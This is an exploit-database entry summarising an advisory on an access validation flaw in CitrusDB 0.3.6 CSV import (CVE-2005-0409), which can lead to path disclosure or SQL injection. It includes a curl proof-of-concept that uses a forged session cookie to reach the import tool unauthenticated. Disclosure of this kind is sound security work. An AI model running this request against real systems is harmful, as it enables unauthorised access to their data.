source: http://www.securityfocus.com/bid/12557/info CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import. These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected. curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b; user_name=testor" "http://<target>/citrusdb/tools/index.php?load=importcc&submit=on"
Related ExploitsTrying to match CVEs (1): CVE-2005-0409
Trying to match OSVDBs (1): 13783
Other Possible E-DB Search Terms: CitrusDB 0.3.6, CitrusDB